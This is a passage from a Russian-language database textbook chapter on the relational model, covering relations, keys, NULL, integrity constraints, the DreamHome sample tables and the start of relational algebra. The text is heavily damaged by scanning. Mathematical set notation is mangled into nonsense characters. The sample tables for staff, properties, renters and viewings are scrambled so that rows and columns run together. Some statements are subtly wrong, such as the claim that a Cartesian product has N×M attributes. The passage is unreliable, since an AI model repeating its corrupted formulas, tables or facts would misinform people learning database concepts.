Описание структуры отношения вместе со спецификацией доменов и любыми другими ограничениями возможных значений атрибутов иногда называют его заголовком (или содержанием (intension)). Обычно оно является фиксированным, до тех пор пока смысл отношения не изменяется за счет добавления в него дополнительных атрибутов. Кортежи называются расширением (extension), состоянием (state) или телом отношения, которое постоянно меняется.
Степень Степень отношения определяется количеством атрибутов, которое оно содержит.
Отношение Branch, показанное на рис. 3.1, имеет семь атрибутов и, следовательно, его степень равна семи. Это значит, что каждая строка таблицы является 7-арным кортежем, т.е. кортежем, содержащим семь значений. Отношение только с одним атрибутом имеет степень 1 и называется унарным (unary) отношением (или 1-арным кортежем). Отношение с двумя атрибутами называется бинарным (binary), отношение с тремя атрибутами — тернарным (ternary), а для отношений с большим количе-
ством атрибутов используется термин n-арный (n-ary). Определение степени отношения является частью заголовка отношения. Кардинальность Это количество кортежей, которое содержит отношение.
Количество содержащихся в отношении кортежей называется кардинальностью отношения. Эта характеристика меняется при каждом добавлении или удалении кортежей. Кардинальность является свойством тела отношения и определяется текущим состоянием отношения в произвольно взятый момент. И, наконец, мы подошли к определению самой реляционной базы данных.'
Реляционная база данных
Набор нормализованных отношений.
Реляционная база данных состоит из отношений, структура которых определяется с помощью особых методов, называемых нормализацией (normalization). Обсуждение этого вопроса будет продолжено в главе 6, “Нормализация”.
Альтернативная терминология
Терминология, используемая в реляционной модели, порой может привести к путанице, поскольку помимо предложенных двух наборов терминов существует еще один — третий. Отношение в нем называется файлом (file), кортежи — записями (records), а атрибуты — полями (fields). Эта терминология основана на том факте, что физически реляционная СУБД может хранить каждое отношение в отдельном файле. В табл. 3.2 показаны соответствия, существующее между тремя упомянутыми выше группами терминов.
Таблица 3.2. Альтернативные варианты терминов в реляционной модели
Официальные термины
Альтернативный вариант 1
Альтернативный вариант 2
Отношение
Таблица
Файл
Кортеж
Строка
Запись
Атрибут
Столбец
Поле
Математические отношения
Для понимания истинного смысла термина отношение рассмотрим несколько математических понятий. Допустим, у нас есть два множества, D1 и D2 , где 0^(2,4} и D2={l/3,5}. Декартовым произведением этих двух множеств (обозначается как DiXD2) называется набор из всех возможных пар, в которых первым идет элемент множества Di, а вторым. — элемент множества D2. Альтернативный способ выражения этого произведения заключается в поиске всех комбинаций элементов, в которых первым идет элемент множества 02, а вторым — элемент множества D2. В данном примере получим следующий результат:
DiXD2 = {(2,1),(2,3),(2,5),(4,1),(4,3),(4,5)}
Любое подмножество этого декартового произведения является отношением. Например, в нем можно выделить отношение R, показанное ниже.
R = {(2,1),(4,1)}
Для определения тех возможных пар, которые будут входить в отношение, можно задать некоторые условия их выборки. Например, если обратить внимание на то, что отношение R содержит все возможные пары, в которых второй элемент равен 1, то определение отношения R можно сформулировать следующим образом:
R = {(х,у) |x€Di,yeD2, и у=1}
На основе тех же множеств можно сформировать другое отношение, S, в котором первый элемент всегда должен быть в два раза больше второго. Тогда определение отношения S можно сформулировать так:
S = {(хгу)|хе0гrye02,и х=2у}
В данном примере только одна возможная пара данного декартового произведения соответствует этому условию:
S = {(2,1)}
Понятие отношения можно легко распространить и на три множества. Пусть имеется три множества: •— D^ D2 и D3. Декартово произведение О^ОзхОз этих трех множеств является набором, состоящим из всех возможных троек элементов, в которых первым идет элемент множества Dlt вторым — элемент множества D2, а третьим — элемент множества D3. Любое подмножество этого декартового произведения является отношением. Рассмотрим следующий пример трех множеств и вычислим их декартово произведение:
Di = {(1,3)} D2 = {(2,4)} D3 - {{5,6)}
DiXD2xD3 = {(1,2,5),(1,2,6),(1,4,5),(1,4,6),(3,2,5),(3,2,6), (3,4,5),(3,4,6)}
Любое подмножество из приведенных выше троек элементов является отношением. Увеличивая количество множеств, можно дать обобщенное определение отношения на п доменах. Пусть имеется п множеств Dp D2, ..., Dn. Декартово произведение для этих п множеств можно определить следующим образом:
D!xD2x...xDn = {(dlrd2,... ,dn) | dxe D2 ,d2e D2,... ,dneDn}
Обычно это выражение записывают в таком символическом виде:
Хд
Любое множество n-арных кортежей этого декартового произведения является отношением п множеств. Обратите внимание на то, что для определения этих отношений необходимо указать множества, или домены, из которых выбираются значения.
Отношения в базе данных
Используя указанные концепции в контексте базы данных, мы получим следующее определение реляционной схемы.
РеляционнаяИмя отношения, за которым следует множество пар имен
схемаатрибутов и доменов.
Например, для атрибутов Ар А2, ..., Ап с доменами Dp D2, ...» Dn реляционной схемой будет множество {А::D;,A2:D2,... ,An:Dn}. Отношение R, заданное реляционной схемой S, является множеством отображений имен атрибутов на соответствующие им домены. Таким образом, отношение R является множеством таких n-арных кортежей {A1:dI,A2:d2,... ,An:dn}, где d1GD1,d2eD2,... ,dneDn.
Каждый элемент n-арного кортежа состоит из атрибута и значения этого атрибута. Обычно при записи отношения в виде таблицы имена атрибутов перечисляются в заголовках столбцов, а кортежи образуют строки формата (d1,d2,... ,dn), где каждое значение берется из соответствующего домена. Таким образом, в реляционной модели отношение можно представить как произвольное подмножество декартового произведения доменов атрибутов, тогда как таблица — это всего лишь физическое представление такого отношения.
В примере, показанном на рис. 3.1, отношение Branch имеет атрибуты Bno, Street, Area, City, Pcode, Tel_No и Fax_No с соответствующими им доменами. Отношение Branch
представляет собой произвольное подмножество декартового произведения доменов или произвольное множество 7-арных кортежей, в которых первым идет элемент из домена BRANCH_NUMBER, вторым —- элемент из домена STREET_NAME и т.д. Например, один из 7-арных кортежей может иметь такой вид:
{(В5,22 Deer Rd, Sidcup, London, SW1 4EH, 0171-886-1212, 0171-886-1214)}
Этот же кортеж можно записать в более корректной форме:
{(Впо: 'В5', Street: '22 Deer Rd', Area: 'Sidcup', City: 'London',
Pcode; 'SW1 4EH', Teljio: '0171-886-1212', Fax_No: '0171-886-1214')}
Таблица Branch представляет собой удобный способ записи всех 7-арных кортежей, образующих отношение в некоторый заданный момент времени. Это замечание объясняет, почему строки таблицы в реляционной модели называются кортежами.
Свойства отношений
Отношение обладает следующими характеристиками.
Отношение имеет имя, которое отличается от имен всех других отношений.
Каждая ячейка отношения содержит только атомарное (неделимое) значение.
Каждый атрибут имеет уникальное имя.
Значения атрибута берутся из одного и того же домена.
Порядок следования атрибутов не имеет никакого значения.
Каждый кортеж является уникальным, т.е. дубликатов кортежей быть не может.
Теоретически порядок следования кортежей в отношении не имеет никакого значения. (Однако, практически этот порядок может существенно повлиять на эффективность доступа к ним.)
Для иллюстрации смысла этих ограничений давайте снова рассмотрим отношение Branch, показанное на рис. 3.1. Поскольку каждая ячейка должна содержать только одно значение, то не допускается хранение в одной и той же ячейке двух номеров телефона одного и того же отделения компании. Иначе говоря, отношения не могут содержать повторяющихся групп. Об отношении, которое обладает таким свойством, говорят, что оно нормализовано, или находится в первой нормальной форме. (Более подробно нормальные формы рассматриваются в главе 6, “Нормализация”.)
Имена столбцов, указанные в их верхней строке, соответствуют именам атрибутов отношения. Значения атрибута Впо берутся из домена BRANCH_NUMBERS — не допускается размещение в этом столбце иных значений, например почтового индекса. Столбцы, можно менять местами при условии, что имя атрибута перемещается вместе с его значениями. Таблица все еще будет представлять то же отношение, если атрибут Tel_No расположить в ней перед атрибутом Pcode, хотя для лучшей читабельности разумнее было бы располагать отдельные части адреса поблизости.
Отношение не может содержать кортежей-дубликатов. Например, строка ('В5','22 Deer Rd', 'Sidcup', 'London', 'SW1 4EH', '0171-886-1212', '0171-886-1214') может быть представлена в отношении только один раз. При необходимости строки можно менять местами произвольным образом (например, переместить строку отделения 'В5' на место отроки отделения 'В4'), само отношение при этом останется прежним.
Большая часть свойств отношений происходит от свойств математических отношений.
Поскольку отношение является множеством, то порядок элементов не имеет значения. Следовательно, порядок кортежей в отношении несущественен.
В множестве нет повторяющихся элементов. Аналогично, отношение не может содержать кортежей-дубликатов.
При вычислении декартового произведения множеств с простыми однозначными элементами (например, целочисленными значениями), каждый элемент в каждом кортеже имеет единственное значение. Аналогично, каждая ячейка отношения содержит только одно значение. Однако математическое отношение не нуждается в нормализации. Кодд предложил запретить наличие повторяющихся групп с целью упрощения реляционной модели данных.
Набор возможных значений для данной позиции отношения определяется множеством, или доменом, на котором определяется эта позиция. В таблице все значения в каждом столбце должны происходить от одного и того же домена, определенного для данного атрибута.
Однако в математическом отношении порядок следования элементов в кортеже имеет значение. Например, допустимая пара значений (1, 2) совершенно отлична от допустимой пары (2, 1). Это утверждение неверно для отношений в реляционной модели, где специально оговаривается, что порядок атрибутов несущественен. Дело в том, что заголовки столбцов однозначно определяют, к какому именно атрибуту относится данное значение. Следствием этого факта является положение о том, что порядок следования заголовков столбцов в заголовке отношения несущественен. Однако, если структура отношения уже определена, то порядок элементов в кортежах тела отношения должен соответствовать порядку имен атрибутов.
Реляционные ключи
Необходимо иметь возможность уникальной идентификации каждого отдельного кортежа отношения по значениям его атрибутов. В этом разделе описывается терминология, используемая для обозначения реляционных ключей.
Суперключ Атрибут или множество атрибутов, которое единственным образом (superkey) идентифицирует кортеж данного отношения.
Поскольку суперключ может содержать дополнительные атрибуты, которые необязательны для уникальной идентификации кортежа, нас будут интересовать суперключи, состоящие только из тех атрибутов, которые действительно необходимы для уникальной идентификации кортежей.
Потенциальный Суперключ, который не содержит подмножества, также яв- ключляющегося суперключом данного отношения.
Потенциальный ключ К для данного отношения R обладает двумя свойствами.
Уникальность. В каждом кортеже отношения R значение ключа К единственным образом идентифицируют этот кортеж.
Неприводимость. Никакое допустимое подмножество ключа К не обладает свойством уникальности.
Отношение может иметь несколько потенциальных ключей. Если ключ состоит из нескольких атрибутов, то он называется составным ключом. Рассмотрим отношение Branch, показанное на рис. 3.1. Конкретное значение атрибута City может определять сразу несколько отделений компании (например, в Лондоне находятся два отделения). Поэтому данный атрибут не может быть выбран в качестве потенциального ключа. С другой стороны, поскольку в учебном проекте DreamHome для каждого отделения компании задается его уникальный номер, каждое значение этого номера (атрибут Впо) может определять не больше одного кортежа (в отношении Branch — прим, персе.), а потому Впо является потенциальным ключом. Аналогично, атрибуты Tel_No и Fax_No также являются потенциальными ключами этого отношения.
Теперь рассмотрим отношение Viewing (Осмотр), которое содержит информацию об ознакомительных осмотрах объектов недвижимости потенциальными арендаторами. Это отношение включает атрибуты номера арендатора (Rno), номера объекта недвижимости (Рпо), даты просмотра (Date) и, возможно, комментарии. По заданному номеру арендатора Rno можно выбрать сведения о нескольких осмотрах разных объектов недвижимости. Аналогично, по заданному номеру объекта недвижимости Рпо можно выбрать сведения о нескольких арендаторах, которые осматривали этот объект недвижимости. Следовательно, сам по себе номер арендатора Rno или номер объекта недвижимости Рпо не может быть использован в качестве потенциального ключа. Однако комбинация атрибутов Rno и Рпо идентифицирует не более одного кортежа. Если допустить возможность того, что арендатор может осматривать один и тот же объект несколько раз, то к данному составному ключу потребуется добавить дату (Date). Однако в данном примере предполагается, что этого не требуется.
Обратите внимание на то, что любой конкретный набор кортежей отношения нельзя использовать для доказательства того, что некий атрибут или комбинация атрибутов являются потенциальным ключом. Тот факт, что в некоторый момент времени не существует значений-дубликатов, совсем не означает, что их не может быть вообще. Однако наличие значений-дубликатов в конкретном существующем наборе кортежей вполне может быть использовано для демонстрации того, что некоторая комбинация атрибутов не может быть потенциальным ключом. Для идентификации потенциального ключа требуется знать смысл используемых атрибутов в “реальном мире”, только это позволит обоснованно принять решение о возможности существования значений-дубликатов. Только исходя из подобной семантической информации можно гарантировать, что некоторая комбинация атрибутов является потенциальным ключом отношения. Например, на основании представленных на рис. 3.1 данных можно решить, что подходящим потенциальным ключом для отношения Staff вполне может быть атрибут LName, содержащий фамилию сотрудника. Однако, хотя в данный момент в организации имеется только один сотрудник с фамилией White, но при зачислении в организацию нового сотрудника с фамилией White атрибут LName уже нельзя будет использовать в качестве потенциального ключа.
Первичный Это потенциальный ключ, который выбран для уникальной иденти- ключфикации кортежей внутри отношения.
Поскольку отношение не содержит кортежей-дубликатов, всегда можно уникальным образом идентифицировать каждую его строку. Это значит, что отношение всегда имеет первичный ключ. В худшем случае все множество атрибутов может использоваться как первичный ключ, но обычно, чтобы различить кортежи, достаточно использовать несколько меньшее подмножество атрибутов. Потенциальные ключи, которые не выбраны в качестве первичного ключа, называются альтернативными ключами. Если в отношении Branch выбрать в качестве первичного ключа атрибут Впо, то альтернативными ключами этого отношения будут атрибуты Tel_No и Fax_No. В отношении Viewing есть только один потенциальный ключ, состоящий из атрибутов Rno и Рпо, поэтому данное сочетание атрибутов автоматически образует его первичный ключ.
Внешний Это атрибут или множество атрибутов внутри отношения, которое со- ключ ответствует потенциальному ключу некоторого (может быть, того же самого) отношения.
Если некий атрибут присутствует в нескольких отношениях, то его наличие обычно отражает определенную связь между кортежами этих отношений. Например, атрибут Впо намеренно включен в отношения Branch и Staff для установления связи между сведениями об отделениях компании и сведениями о сотрудниках, которые работают в каждом из отделений. В отношении Branch атрибут Впо является первич-
ным ключом, а в отношении Staff он введен для установления соответствия между сведениями о сотрудниках и сведениями о тех отделениях компании, в которых они работают, В отношении Staff атрибут Впо является внешним ключом. В таком случае говорят, что атрибут Впо в отношении Staff ссылается на первичный ключ, т.е. на атрибут Впо, в базовом отношении Branch. (Базовое отношение иногда называют целевым отношением. — Прим, переев Как будет показано в последующих разделах эти общие атрибуты играют важную роль в манипулировании данными.
Представление схем в реляционной базе данных
Реляционная база данных может состоять из произвольного количества отношений. Реляционные схемы для той части учебного проекта DreamHome, в которой содержится и обрабатывается информация об аренде собственности, выглядят так:
Branch(Впо,Street, Area, City, Pcode, Tel_No, Fax_No)
Staff(Sno,FName, LNair.e, Address, Tel_No, Position, Sex, DOB, Salary,NIN, Bno)
Property_(Pno,Street, Area, City, Pcode, Type, Rooms, Rent, Ono, Sno,Bno)
for_Rent
Renter(Rno,FName, LName, Address, Tel-No, Pref_Type, MaX-Rent, Bno)
Owner(Ono,FName, LName, Address, Tel-No)
Viewing(Rno,Pno, Date, Comment)
Общепринятое обозначение реляционной схемы включает имя отношения, за которым (в скобках) располагаются имена атрибутов. При этом первичный ключ (обычно) подчеркивается.
Концептуальной моделью, или концептуальной схемой, называется множество всех реляционных схем базы данных. В табл. 3.3-3.8 показано некоторое возможное состояние базы данных учебного проекта DreamHome.
Таблица 3.3. Пример некоторого текущего состояния базы данных учебного проекта DreamHome. Таблица Branch
Впо
Street
Area
City
Pcode
Tel .No
FaxNo
В5
22 Deer Rd
Sidcup
London
SW1 4EH
0171-836-1212
0171-886-1214
В7
16 Argyll St
Dyce
Aberdeen
AB2 3SU
0^Ж7125
01224-67111
ВЗ
163 Main St
Partick
Glasgow
G11 9QX
0141-339-2178
0141-339-4439
В4
32 Manse Rd
Leigh
Bristol
BS99 1NZ
0117-916-1170
0117-776-1114
В2
56 Clover Dr
London
NW10 6EU
0181-963-1030
0181-453-7992
Таблица 3.4. Пример некоторого текущего состояния базы данных учебного проекта DreamHome. Таблица Staff
Sno
FName
LName
Address
Tel.No
Position
Sex
DOB
Salary
NIN
Bno
SL21
John
White
19 Taylor st.
Cranford, London
0171
884
5112
Manager
M
1-
Oct- 45
30000
WK4 4201 1B
B5
SG37
Ann
Beech
81 George st, 7Glasgow PA1 2JR
0141
848
3345
Snr Asst
F
10-
Nov- 60
12000
WL43 2514 C
B3
Sno FName
LName AddressTel_No Position Sex DOB Salary NIN Bno
SG14 David
Ford 63 Ashby 0141- Deputy M 24-18000 WL22 B3
St, Partick,339-Mar-0658
Glasgow217758D
G11
SA9Mary
Howe 2 Bm PI,Assistant F 19-9000 WM5 B7
AberdeenFeb-3218
AB2 3SU707D
SG5 Susan
Brand 5 Gt0141- Manager F 3-24000 WKS B3
Western Rd334-Jun-8893
Glasgow2001402E
G12
SL41 Julie
Lee28 Malvern 0181- Assistant F 13-9000 WA29 B5
St, Kilburn554-Jun-0573
NW2354165К
Таблица 3.5. Пример некоторого текущего состояния базы данных учебного проекта DreamHome. Таблица Property for Rent
Pno Sreet
Area CityPcode Type Rooms Rent Ono Sno Bno
PA14 16 Holhead
PL94 6 Argyll St
PG4 6 Lawrence St
PG36 2 Manor Rd
DeeAberdeenAB75SUHouse66500046SA9B7
KilburnLondonNW2Flat4400CO87SL41B5
PartickGlasgowG119QXFlat3350CO40SG14B3
GlasgowG324QXFlat33750093SG37B3
PG21 18 Dale Rd
Hyn- Glasgow G12House 56000087 SG37 B3
dland
PG 16 5 Novar Dr
Hyn- Glasgow G12 9AX Rat44500093 SG14 B3
dland
Таблица 3.6. Пример некоторого текущего состояния базы данных учебного проекта DreamHome. Таблица Renter
Rno FName
LName AddressTel_NoPrefjype Max_Rent Bno
CR76 John
Kay56 Hight St, Putney, 0171-774-5632 Fiat425B5
London SW1 4EH
CR56 Aline
Stewart 64 Fern Dr, Pollock, 0141-848-1825 Flat350B3
Glasgow G42 OBL
CR74 Mike
Ritchie 18 Tain St, Gourock 01475-392178House750B3
PA1G 1YQ
CR62 Mary
Tregear 5 Tarbot Rd,01224-196720Flat600B7
Kildary, Aberdeen AB9 3ST
Таблица 3.7. Пример некоторого текущего состояния базы данных учебного проекта DreamHome. Таблица Owner
Опо
FName
LName
Address
Tel.No
СО46
Joe
Keogh
2 Fergus Dr, Banchory, Aberdeen AB2 &SX
01224-861212
СО87
Carol
Parrel
6 Achray St, Glasgow G32 9DX
0141-357-7419
0040
Tina
Murphy
63 Well St, Shawlands, Glasgow G42
0141-943-1728
СО93
Tony
Shaw
12 Park PI, Hillhead, Glasgow G4 OQR
0141-225-7025
Таблица 3.8. Пример некоторого текущего состояния базы данных учебного проекта DreamHome. Таблица Viewing
RnoPno
DateComment
CR56PA14
CR76PG4
CR56PG4
CR62PA14
CR56PG36
24-May-98Too small (Слишком мала)
20-Apr-98Too remote (Слишком далеко)
26-May-98
14-May-98No Dining room (Нет отдельной столовой)
28-Apr-98
Реляционная целостность
В предыдущем разделе была рассмотрена структурная часть реляционной модели данных. Как упоминалось в разделе 2.3, модель данных имеет две другие части: управляющую часть, которая определяет типы допустимых операций с данными, и набор ограничений целостности, которые гарантируют корректность данных. В этом разделе рассматриваются реляционные ограничения целостности, а в следующем — реляционные операции управления данными.
Поскольку каждый атрибут связан с некоторым доменом, для множества допустимых значений каждого атрибута отношения определяются так называемые ограничения домена. Помимо этого, задаются два важных правила целостности, которые, по сути, являются ограничениями для всех допустимых состояний базы данных. Этих два основных правила реляционной модели называются целостностью сущностей и ссылочной целостностью. Однако, прежде чем приступить к изучению этих правил, следует рассмотреть понятие NULL.
Определитель NULL
Определитель Указывает, что значение атрибута в настоящий момент неизвест- NULLно или неприемлемо для этого кортежа.
Определитель NULL следует воспринимать как логическую величину “неизвестно”. Другими словами, либо это значение не входит в область определения некоторого кортежа, либо никакое значение еще не задано. Ключевое слово NULL представляет собой способ обработки неполных или необычных данных. Однако определитель NULL не следует понимать как нулевое численное значение или заполненную пробелами текстовую строку. Нули и пробелы представляют собой некоторые значения, тогда как ключевое слово NULL призвано обозначать отсутствие какого-либо значения. Следовательно, определитель NULL следует рассматривать иначе, не так, как другие зна-
чения. Некоторые авторы используют термин “значение NULL”, но на самом деле определитель NULL не является значением, а лишь обозначает его отсутствие, а потому термин “значение NULL” использовать не рекомендуется.
Например, в представленном в табл. 3.8 отношении Viewing атрибут Comment может не иметь определенного значения до тех пор, пока потенциальный арендатор не посетит данный объект недвижимости и не сообщит свое мнение агентству. В противном случае для представления этого состояния без использования ключевого слова NULL потребуется либо ввести какие-то ложные данные, либо создать дополнительные атрибуты, которые могут быть бессмысленными для пользователей. В данном примере можно попробовать представить отсутствующий комментарий с помощью значения - 1. Кроме того, можно добавить в отношение Viewing еще один атрибут — “Имеется ли комментарий?” — со значением Y (Yes), если комментарий есть, и N (No) — в противном случае. Однако оба этих подхода могут запутать пользователя.
Применение определителя NULL может вызвать проблемы на этапе реализации. Трудности возникают из-за того, что реляционная модель основана на исчислении предикатов первого порядка, которое обладает двузначной, или булевой, логикой, т.е. допустимыми являются только два значения: истина и ложь. Применение определителя NULL означает, что придется вести работу с логикой более высокого порядка, например трехзначной или даже четырехзначной (Codd, 1986, 1987, 1990).
Использование понятия NULL в реляционной модели является спорным вопросом. Кодд (1990) рассматривает понятие NULL как составную часть этой модели, а другие специалисты считают этот подход неправильным, полагая что проблема отсутствующей информации еще не до конца понята, удовлетворительное ее решение не найдено, а потому включение определителя NULL в реляционную модель является преждевременным (Date, 1995). Следует отметить, что не во всех реляционных системах поддерживается работа с определителем NULL.
Теперь можно приступать к изучению реляционных ограничений целостности.
Целостность сущностей
Первое ограничение целостности касается первичных ключей базовых отношений. Здесь базовое отношение определяется как отношение, которое соответствует некоторой сущности в концептуальной схеме (см. раздел 2.1). Более точное определение этого понятия приводится в разделе 3.5.
Целостность В базовом отношении ни один атрибут первичного ключа не может со- сущностей держать отсутствующих значений, обозначаемых определителем NULL.
По определению, первичный ключ — это минимальный идентификатор, который используется для уникальной идентификации кортежей. Это значит, что никакое подмножество первичного ключа не может быть достаточным для уникальной идентификации кортежей. Если допустить присутствие определителя NULL в любой части первичного ключа, это равноценно утверждению, что не все его атрибуты необходимы для уникальной идентификации кортежей, что противоречит определению первичного ключа. Например, поскольку Впо является первичным ключом отношения Branch, то нельзя допустить вставку в отношение Branch кортежа с определителем NULL в атрибуте Впо.
Если рассмотреть это правило более внимательно, то можно заметить несколько его необычных свойств. Во-первых, почему оно применяется к первичным ключам, но не используется в отношении альтернативных ключей? Во-вторых, почему оно ограничивается только базовыми отношениями? Например, используя данные отношения Staff (см. табл. 3.4), рассмотрим выполнение следующего запроса: “Создать список номеров телефонов всех сотрудников организации”. Результатом этого запроса является унарное отношение из единственного атрибута Tel_No. По определению, этот
атрибут должен быть первичным ключом, но среди его значений содержится определитель NULL (соответствующий номеру телефона сотрудника с личным номером 'SA9z). Поскольку это отношение не является базовым, реляционная модель допускает присутствие определителя NULL в его первичном ключе. Недавно было предпринято несколько попыток переопределения этого правила (Codd, 1988; Date, 1990).
Ссылочная целостность
Второе ограничение целостности касается внешних ключей.
Ссылочная
Если в отношении существует внешний ключ, то значение внешне
целостность
го ключа должно либо соответствовать значению потенциального ключа некоторого кортежа в его базовом отношении, либо задаваться определителем NULL.
Например, атрибут Впо в отношении Staff является внешним ключом, который ссылается на атрибут Впо базового отношения Branch. Система должна предотвращать любые попытки создать запись с информацией о сотруднике отделения с номером 'В25' до тех пор, пока в отношении Branch не будет создана запись, содержащая сведения об отделении компании с номером 'В25'. Однако считается допустимым создание записи с информацией о новом сотруднике с указанием определителя NULL вместо номера отделения, в котором этот сотрудник работает. Такая ситуация может иметь место в том случае, когда сотрудник зачислен в штат компании, но еще не приписан к какому-то конкретному отделению.
Корпоративные ограничения целостности
Корпоративные Дополнительные правила поддержки целостности данных, опре- ограничения деляемые пользователями или администраторами базы данных, целостности
Пользователи сами могут указывать дополнительные ограничения, которым должны удовлетворять данные. Например, если в одном отделении не может работать больше 20 сотрудников, то пользователь может указать это правило, а СУБД следить за его выполнением. В этом случае в отношение Staff нельзя будет добавить строку со сведениями о новом сотруднике некоторого отделения, если в данном отделении компании уже насчитывается 20 сотрудников. К сожалению, уровень поддержки реляционной целостности в разных системах существенно варьирует. Более подробно вопросы поддержки реляционной целостности данных обсуждаются в главе 9, “Методология физического проектирования реляционных баз данных”, в главе 12, “Пример разработки физического проекта базы данных”, и в главе 14, “Дополнительные средства языка SQL”.
Реляционные языки
В разделе 2.3 говорилось о том, что одна из частей модели данных является управляющей, т.е. она определяет типы допустимых операций с данными, включая операции обновления и извлечения данных, а также операции изменения структуры базы данных. Для управления отношениями в реляционных СУБД используются самые разнообразные языки. Некоторые из них являются процедурными, т.е. с их помощью пользователь точно указывает системе, как следует манипулировать данными. Другие языки являются непроцедурными, т.е. пользователь указывает, какие данные ему нужны, а не как их следует извлекать.
В этом разделе основное внимание уделяется реляционной алгебре и реляционному исчислению, которые предложены Коддом (1971) в качестве основы для создания реляционных языков. Попросту говоря, реляционную алгебру можно описать как (высокоуровневый) процедурный язык, т.е. тот, который может быть использован для того, чтобы сообщить СУБД о том, как следует построить требуемое отношение на базе одного или нескольких существующих в базе данных отношений. Реляционное исчисление, с неформальной точки зрения, представляет собой непроцедурный язык, который можно использовать для определения того, каким будет некоторое отношение, созданное на основе одного или нескольких других отношений базы данных. Однако, строго говоря, реляционная алгебра и реляционное исчисление эквивалентны друг другу, т.е. для каждого выражения алгебры существует эквивалентное выражение в реляционном исчислении (и наоборот).
Реляционное исчисление используется для оценки избирательной мощности реляционных языков. Язык называется реляционно полным, если он позволяет получить любое отношение, которое можно вывести с помощью реляционного исчисления. Большинство реляционных языков запросов является реляционно полными. Однако по сравнению с реляционной алгеброй и реляционным исчислением они обладают и другими, более широкими функциональными возможностями, поскольку в них предусмотрены дополнительные операции, способные выполнять вычислительные, обобщающие и упорядочивающие функции.
Реляционная алгебра и реляционное исчисление представляют собой формальные, а не дружественные пользователю языки. В реляционных базах данных они использовались в качестве основы для разработки других языков управления данными, более высокого уровня. Для нас они представляют интерес потому, что иллюстрируют основные операции языков манипулирования данными, а также служат определенным критерием сравнения других реляционных языков. Другие типы языков рассматриваются в разделе 3.4.3.
Реляционная алгебра
Реляционная алгебра — это теоретический язык операций, которые на основе одного или нескольких отношений позволяют создавать другое отношение без изменения самих исходных отношений. Таким образом, оба операнда и результат являются отношениями, а потому результаты одной операции могут стать исходными данными для другой операции. Это позволяет создавать вложенные выражения реляционной алгебры точно так же, как создаются вложенные арифметические выражения. Это свойство называется замкнутостью, т.е. отношения покрываются реляционной алгеброй так же, как числа — арифметическими операциями.
Реляционная алгебра является языком последовательного использования отношений, в котором все кортежи, возможно, взятые даже из разных отношений, обрабатываются одной командой, без организации циклов. Для команд реляционной алгебры предложено несколько вариантов синтаксиса. Ниже мы воспользуемся общепринятыми символическими обозначениями для этих команд и представим их в неформальном виде. Более подробные сведения по этому вопросу заинтересованный читатель сможет найти в работах Ульмана (Ullman, 1988).
Существует несколько вариантов выбора операций, которые включаются в реляционную алгебру. Исходно Кодд предложил восемь операторов, но впоследствии к ним были добавлены и некоторые другие. Пять основных операций реляционной алгебры, а именно выборка (selection), проекция (projection), декартово произведение (cartesian product), объединение (union) и разность (set difference), выполняют большинство операций извлечения данных, которые могут представлять для нас интерес. На основании пяти основных операций можно также вывести дополнительные операции, такие как операции соединения (join), пересечения (intersection) и деления (division). Функции этих операций схематически показаны на рис. 3.2.
Операции выборки и проекции являются унарными, поскольку они работают с одним отношением. Другие операции работают с парами отношений, и поэтому их
называют бинарными операциями. В приведенных ниже определениях R и S — это два отношения, определенные над атрибутами А=(а: za2/. .. ,aN) и B=(b:,b2,...,ЬН) соответственно. Для иллюстрации результатов выполнения операций мы воспользуемся отношениями базы данных учебного проекта DreamHome, содержащими сведениями об аренде недвижимости (см. табл. 3.3-3.8).
Естественное Полусоединение Левое открытое соединениесоединение
Рис. 3.2. Схематическое представление функций операторов реляционной алгебры
Выборка (или ограничение)
Опредикат(К) Операция выборки работает с одним отношением R и определяет результирующее отношение, которое содержит только те кортежи (строки) отношения R, которые удовлетворяют заданному условию (предикату).
Пример 3.1. Операция Выборки
Составьте список всех сотрудников с зарплатой, превышающей 10000 фунтов стерлингов.
^salary>10000 (Staff)
Здесь исходным отношением является отношение Staff, а предикатом — выражение salary>10000. Операция выборки определяет новое отношение, содержащее только те кортежи отношения Staff, в которых значение атрибута salary превышает 10000 фунтов стерлингов. Результат выполнения этой операции показан в табл. 3.9. Более сложные предикаты могут быть созданы с помощью логических операторов a (AND), v (OR) и ~ (NOT).
Таблица 3.9. Результат выполнения операции выборки из отношения Staff кортежей с атрибутом salary > 10000 фунтов стерлингов
Sno
FName
LName
Address
Tel.No
Position
Sex
DOB
Salary
NIN
Bno
SL21
John
White
19 Taylor st, Cranford, London
0171884
5112
Manager
M
1-
Oct- 45
30000
WK442 011B
B5
SG37
Ann
Beech
81 George st, Glasgow PA1 2JR
0141848
3345
Snr Asst
F
10- Nov-
60
12000
WL432 5140
B3
SG14
David
Ford
63 Ashby St, Partick, Glasgow G11
0141
339
2177
Deputy
M
24- Mar-
58
18000
WL220 6580
' B3
SG5
Susan
Brand
5 Gt Western Rd
0141334
2001
Manager
F
3- Jun-
40
24000
WK588 . 932E
B3
Glasgow G12
Проекция
Патр 1 атр n(R)Операция проекции работает с одним отношением R и опреде-
* ’ляет новое отношение, содержащее вертикальное подмножество отношения R, создаваемое посредством извлечения значений указанных атрибутов и исключения из результата строк- дубликатов.
Пример 3.2. Операция проекции
Создайте ведомость зарплаты всех сотрудников компании с указанием атрибу- ' тов Sno, FName, LName и Salary.
^sno, fname,lname, salary (Staff)
В этом примере операция проекции определяет новое отношение, которое будет содержать только атрибуты Sno, FName, LName и Salary отношения Staff, размещенные в указанном порядке. Результат выполнения этой операции показан в табл. 3.10.
Таблица ЗЛО. Проекция отношения Staff по атрибутам Sno, FName, Lname и Salary
Sno
FName
LName
Salary
SL21
John
White
30000
SG37
Ann
Beech
12000
SG14
David
Ford
18000
SA9
Mary
Howe
9000
SG5
Susan
Brand
24000
SL41
Julie
Lee
9000
Декартово произведение
RxSОперация декартового произведения определяет новое отношение, ко
торое является результатом конкатенации (т.е. сцепления) каждого кортежа из отношения R с каждым кортежем из отношения S.
Операторы выборки и проекции извлекают информацию только из одного отношения. Очевидно, возможно возникновение таких ситуаций, когда нужна некоторая комбинация данных из нескольких отношений. Оператор декартового произведения умножает два отношения, что в результате приводит к созданию другого отношения, состоящего из всех возможных пар кортежей обоих отношений. Следовательно, если одно отношение имеет I кортежей и ^ атрибутов, а другое — J кортежей и М атрибутов, то отношение с их декартовым произведением будет содержать (ZxJ) кортежей и (NxM) атрибутов. Исходные отношения могут содержать атрибуты с одинаковыми именами. В таком случае имена атрибутов будут содержать названия отношений в виде префиксов для обеспечения уникальности имен атрибутов в отношении, полученном как результат выполнения операции декартового произведения.
Пример 3.3. Операция декартового произведения
